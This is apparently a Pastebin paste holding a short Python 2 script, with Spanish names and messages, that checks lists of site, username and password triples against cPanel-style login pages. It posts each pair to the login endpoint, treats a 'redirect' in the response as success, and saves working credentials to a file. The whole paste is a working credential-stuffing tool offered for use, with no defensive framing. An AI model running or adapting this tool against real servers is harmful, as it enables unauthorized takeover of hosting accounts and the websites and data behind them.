Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- import os,sys,requests,re
- class bcolors:
- ENDC = '\033[0m'
- OKGREEN = '\033[92m'
- ERRO = '\033[91m'
- WARNING = '\033[93m'
- UNDERLINE = '\033[4m'
- def bruteforce(target,usr,pwd):
- try:
- session = requests.Session()
- #get = requests.get(target)
- cabeceras = {
- "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
- "Content-type": "application/x-www-form-urlencoded",
- }
- post = {'user': usr,
- 'pass': pwd,
- }
- get2 = session.post(target+'/login/?login_only=1', data=post, headers=cabeceras, allow_redirects=True)
- adm = 'redirect'
- if adm in get2.text:
- print bcolors.OKGREEN + bcolors.ENDC + target.replace("\n","").replace("\r","") + bcolors.OKGREEN + " " + usr + bcolors.ENDC + ":" + bcolors.OKGREEN + pwd + bcolors.ENDC
- #session.cookies.clear()
- valid = target + ':' + usr + ':' +pwd
- archi=open('login_validos.txt','a')
- archi.write(valid+'\n')
- archi.close()
- except:
- pass
- infile = open('2083.txt', 'r')
- print('>>> Lectura de los sitios linea a linea')
- for line in infile:
- parser = line.split(";")
- URL = parser[0]
- USR = parser[1]
- PWD = parser[2].replace("\n","")
- bruteforce(URL, USR, PWD)
- infile.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement